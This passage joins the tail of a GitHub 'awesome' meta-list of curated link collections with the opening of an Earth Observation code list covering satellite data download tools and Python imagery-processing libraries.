Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.

# Awesome-EarthObservation-Code A curated list of awesome tools, tutorials, code, helpful projects, links, stuff about Earth Observation and Geospatial stuff! <p align="center"> <img width="300" height="300" src="https://geogerservices.files.wordpress.com/2018/06/scenefromabovepodcast.jpg?w=300&h=300"> </p> The #scenefromabove podcast aimed to be a mix of news, opinion, discussion and interviews. I am no longer involved in the podcast, however it is still going<br> ## Latest news I have written a blog post about how this repo came into being. It includes a video of a talk I gave about it AND a podcast episode devoted to it. http://www.acgeospatial.co.uk/awesome-earthobservation-code/ Please note that this is <b>not</b> offically an awesome list. <b> Update October / November 2022</b> All dead links have been purged! If you find a resource missing let me know and I will add, I accept PR's and you get a mention in the contributors file. <b> A note of caution </b> During the QC of links I note that the vast majority are 18 + months old or considerbly older. Some repos are retired and still visible, some code is > 10 years old. Tread carefully. Annotations are based on the headers - and where available - on the github accounts <div align="center"> </div> # Contents | [<b>Earth Observation introduction</b>](#earth-observation-introduction) |<br> | [Open EO](#open-eo) | [remotesensing.info](#remote-sensinginfo) | [Python processing](#python-processing-of-optical-imagery-non-deep-learning) | [Resources for R](#resources-for-r) | [Languages other than Python and R](#languages-other-than-python-and-r) | [Training and Learning](#training-and-learning) | [Deep Learning & Machine Learning](#deep-learning-and-machine-learning) | [GDAL of course](#gdal-of-course) | [Earth Observation coding on YouTube](#earth-observation-coding-on-youtube) | [Google Earth Engine](#earth-engine) | [Open Data Cube](#open-data-cube) | [Planetary Computer](#planetary-computer) | [QGIS and Grass](#qgis-and-grass) | [Climate & Weather resources](#climate-and-weather-based-resources) | [DEM projects](#dem-projects) | [SAR](#sar) | [LiDAR](#lidar) | [GEDI](#gedi) | [InSAR](#insar) | [Landuse](#landuse) | [Visualisation](#visualisation) | [EO code Competitions](#eo-code-competitions) | [ARD links](#ard-links) | [Useful EO code based twitter accounts](#useful-eo-code-based-twitter-accounts) | [List of Great GitHub accounts](#great-github-accounts) | [EO Geospatial companies or orgs making big contributions](#eo-geospatial-companies-or-orgs-making-big-contributions) | | [Cloud Native Geospatial](#cloud-native-geospatial) | [STAC](#stac) | [COG](#cog) These sections are non EO code specific, but included to be relevant <br> | [Interesting Non EO parts Python](#interesting-non-eo-parts-python) | [Interesting Non EO parts other languages](#interesting-non-eo-parts-other-languages) | [Data](#data) | [A footnote on awesome](#a-footnote-on-awesome) #### Start Here ## Earth Observation Introduction If you are not familiar with Earth Observation then these links may help set context before you start using data. I didn't initially aim at including links like these but if you are not familiar with Earth Observation then some good resources to get you going may help prior to diving into code. - [Earth Observation Text books](https://www.eoa.org.au/earth-observation-textbooks) - Earth Observation: Data, Processing and Applications is an Australian Earth Observation (EO) community undertaking to describe EO data, processing and applications in an Australian context and includes a wide range of local case studies to demonstrate Australia’s increasing usage of EO data. - [ESA newcomers guide](https://business.esa.int/newcomers-earth-observation-guide) - The aim of this guide is to help non-experts in providing a starting point in the decision process for selecting an appropriate Earth Observation (EO) solution. - [The state of satellites](https://landscape.satsummit.io/) - The satellite systems we use to capture, analyze, and distribute data about the Earth are improving every day, creating bold new opportunities for impact in global development. You may also wish to navigate a search of the terms `satellite-imagery` and `earth-observation` to get the latest list of topics that have these terms in their headers - [satellite-imagery](https://github.com/topics/satellite-imagery) - [earth-observation](https://github.com/topics/earth-observation) ## Open EO OpenEO covers many of the bases, hard to know whether to break it into different categories, it has many components. At present I mention it here at the start only.<br> - [Open EO](https://openeo.org/) - openEO develops an open API to connect `R`, `Python`, `JavaScript` and other clients to big Earth observation cloud back-ends in a simple and unified way. - [openeo-processes](https://github.com/Open-EO/openeo-processes) - Interoperable processes for openEO's big Earth observation cloud processing [website](https://processes.openeo.org/) ## Remote Sensing.info <b> All links have been changed - update your pointers Oct 2022 </b> remotesening.info warrents its own section, the vast array of tools and processing software is incredible [RemoteSensing](https://github.com/remotesensinginfo) - Short tutorials and reference to useful software tools for the acquisition and processing of remote sensed Earth Observation data - [RSGISLib](http://rsgislib.org/rsgislib.html) - The Remote Sensing and GIS software library (RSGISLib) is a collection of tools for processing remote sensing and GIS datasets. The tools are accessed using `Python` bindings. - [ARCSI](https://github.com/remotesensinginfo/arcsi) - Software to automate the production of optical analysis ready data (ARD) from Landsat, Sentinel-2 and others - [eodatadown](https://github.com/remotesensinginfo/eodatadown) - The Earth Observation Data Downloader (EODataDown) is a tool for automatically downloading and processing EO data to an analysis ready data product. This software forms a core component of a monitoring system based on EO data. - more to come.. ## `Python` processing of optical imagery (non deep learning) This section full of great code and projects related to processing optical satellite imagery with `Python` . This section is under review Sept 2020 and being split into further categories - please suggest groupings or re assignments if needed - the idea is to make the Python code examples here easier to find. Categories are highly subjective. ### Download - [EODAG](https://eodag.readthedocs.io/en/latest/) - Command line tool and a plugin-oriented Python framework for searching, aggregating results and downloading remote sensed images while offering a unified API for data access regardless of the data provider. - [Sedas API](https://github.com/SatelliteApplicationsCatapult/sedas_pyapi) - `Python` client library for the SeDAS API - [esa_sentinel](https://github.com/jonas-eberle/esa_sentinel) - ESA Sentinel Search & Download API - [get_modis](https://github.com/jgomezdans/get_modis) - Downloading MODIS data from the USGS repository `Python` - [landsatexplore](https://github.com/yannforget/landsatxplore) - Search and download Landsat scenes from EarthExplorer. `Python` - [pylandsat](https://github.com/yannforget/pylandsat) - Search, download, and preprocess Landsat imagery `Python` - [Sentinel-download](https://github.com/olivierhagolle/Sentinel-download) - Automated download of Sentinel-2 L1C data from ESA (through wget) `Python` - [sentinelsat](https://github.com/sentinelsat/sentinelsat) - Search and download Copernicus Sentinel satellite images [sentinelsat docs](https://sentinelsat.readthedocs.io/en/stable/) `Python` - [LANDSAT-Download](https://github.com/olivierhagolle/LANDSAT-Download) - Automated download of LANDSAT data from USGS website - [Landsat-Util](https://github.com/developmentseed/landsat-util) - A utility to search, download and process Landsat 8 satellite imagery `Python` - [data-prep-scripts](https://lpdaac.usgs.gov/tools/data-prep-scripts/) - This collection of `R` and `Python` scripts can be used to download data and perform basic data processing functions such as georeferencing, reprojecting, converting, and reformatting data. All scripts are available for download from the LP DAAC User Resources [BitBucket Code Repository](https://git.earthdata.nasa.gov/projects/LPDUR). - [Stream NASA data directly into Python objects](https://nbviewer.jupyter.org/gist/scottyhq/a1ddbb12f97764860160370229b19261) - Skip the download! Stream NASA data directly into Python objects from [blog post](https://medium.com/pangeo/intake-stac-nasa-4cd78d6246b7) - [sat-extractor](https://github.com/FrontierDevelopmentLab/sat-extractor) - Extract Satellite Imagery from public constellations at scale `Python` ### Processing imagery - post processing - [StarFM for Python](https://github.com/nmileva/starfm4py) - The STARFM fusion model for `Python` (image fusion) - [Remote Sensing indicies calc](https://github.com/rander38/Remote-Sensing-Indices-Derivation-Tool) - Calculate spectral remote sensing indices from satellite imagery - [EarthPy](https://github.com/earthlab/earthpy) - A package built to support working with spatial data using open source python. [docs](https://earthpy.readthedocs.io/en/latest/) - [RasterFrames / pyrasterframes](https://github.com/locationtech/rasterframes) - brings together Earth-observation (EO) data access, cloud computing, and DataFrame-based data science. [docs](https://rasterframes.io/) - [SIF tools](https://github.com/cfranken/SIF_tools) - some tools for accessing OCO-2 data - [SIAC](https://github.com/MarcYin/SIAC) - A sensor invariant Atmospheric Correction (SIAC) [alg doc](http://www2.geog.ucl.ac.uk/~ucfafyi/Atmo_Cor/) - [S2_TOA_TO_LAI](https://github.com/MarcYin/S2_TOA_TO_LAI) - From Sentinel 2 TOA reflectance to LAI - [cresi](https://github.com/avanetten/cresi) - Road network extraction from satellite imagery, with speed and travel time estmates - [6S_emulator](https://github.com/samsammurphy/6S_emulator) - Atmospheric correction in Python using a 6S emulator - [bv](https://github.com/daleroberts/bv) - Quickly view satellite imagery, hyperspectral imagery, and machine learning image outputs directly in your iTerm2 terminal. `Python` - [mapchete](https://github.com/ungarj/mapchete) - Tile-based geodata processing using rasterio & Fiona `Python` - [unmixing](https://github.com/arthur-e/unmixing) - Interactive tools for spectral mixture analysis of multispectral raster data in `Python` - [landsat and sentinel fusion](https://github.com/yannforget/landsat-sentinel-fusion) - Complementarity Between Sentinel-1 and Landsat 8 Imagery for Built-Up Mapping in Sub-Saharan Africa `Python` - [Planet Movement](https://github.com/rhammell/planet-movement) - Find and process Planet image pairs to highlight object movement. `Python` - [cedar-datacube](https://github.com/ceholden/cedar-datacube) - cedar - Create Earth engine Datacubes of Analytical Readiness `Python` [docs](https://ceholden.github.io/cedar-datacube/master/) - [stems - Spatio-temporal Tools for Earth Monitoring Science](https://github.com/ceholden/stems) - Spatio-temporal Tools for Earth Monitoring Science `Python` [docs](https://ceholden.github.io/stems/master/) - [ipyearth](https://github.com/davidbrochart/ipyearth) - An IPython Widget for Earth Maps `Python` - [Python-for-remote-sensing](https://github.com/Seyed-Ali-Ahmadi/Python-for-Remote-Sensing) - `Python` codes for remote sensing applications will be uploaded. [blog](https://earthobserv.com/) - [esda dissertation](https://github.com/Rabscuttler/esda-dissertation) - MSc Energy Systems & Data Analytics dissertation project notebooks - identifying solar PV from aerial imagery with computer vision `Python` - [geff_notebooks](https://github.com/cvitolo/geff_notebooks) - Jupyter notebooks to post-process fire danger data using `Python`/`xarray` - [river-width](https://github.com/redfoxgis/river-width) - Extracts water features from 4 band NAIP imagery and calculates river metrics. `Python` - [get_river_width](https://github.com/briannapagan/get_river_width/blob/master/get_river_width.py) - Find the river width (and other properties) from a masked water image `Python` - [extract_water](https://github.com/redfoxgis/extract_water/blob/master/extract_water.py) - Extract water from nIR imagery `Python` - [pyresample](https://github.com/pytroll/pyresample) - Geospatial image resampling in `Python` - [spatialist](https://github.com/johntruckenbrodt/spatialist) - A `Python` module for spatial data handling - [CometTS](https://github.com/CosmiQ/CometTS) - Comet Time Series Toolset for working with a time-series of remote sensing imagery and user defined polygons - [Telluric](https://github.com/satellogic/telluric) - telluric is a `Python` library to manage vector and raster geospatial data in an interactive and easy way - [onearth](https://github.com/nasa-gibs/onearth) - High-performance web services for tiled raster imagery and vector tiles `Python` - [geocube](https://github.com/corteva/geocube) - Tool to convert geopandas vector data into rasterized xarray data. `Python` [docs](https://corteva.github.io/geocube/stable/) - [Opensource-OBIA_processing_chain](https://github.com/tgrippa/Opensource_OBIA_processing_chain) - An open-source semi-automated processing chain for urban OBIA classification. `Grass` `Python` - [verde](https://github.com/fatiando/verde) - Processing and gridding spatial data using Green's functions - [s2p](https://github.com/cmla/s2p) - Satellite Stereo Pipeline `Python` - [xcube](https://github.com/dcs4cop/xcube) - xcube is a `Python` package for generating and exploiting data cubes powered by xarray, dask, and zarr - [geonotebook](https://github.com/OpenGeoscience/geonotebook) - A Jupyter notebook extension for geospatial visualization and analysis `Python` - [tatortot](https://github.com/GeoBigData/tatortot) - Prototype for a simple image annotation tool `Python` - [tiletanic](https://github.com/DigitalGlobe/tiletanic) - `Python` library to support generalized geographic tiling schemes - [Intro to Python GIS](https://automating-gis-processes.github.io) - Great free 3-day course by the University of Helsinki on GIS processing with Python - [openaq-s5](https://github.com/JamesOConnor/openaq-s5) - Map openaq data onto Sentinel5P data using AWS lambda - [vegetation health](https://github.com/tommylees112/vegetation_health) - Predicting vegetation health from precipitation and temperature - [Satellite-Image-Analysis](https://github.com/MasterPhysicist/Satellite-Image-Analysis) - PlanetScope, Landsat-8 and Sentinel-2 Image analysis `Python` codes - [felicette](https://github.com/plant99/felicette) - Satellite imagery for dummies. `Python` - [CostalSat](https://github.com/kvos/CoastSat) - Global shoreline mapping tool from satellite imagery `Python` - 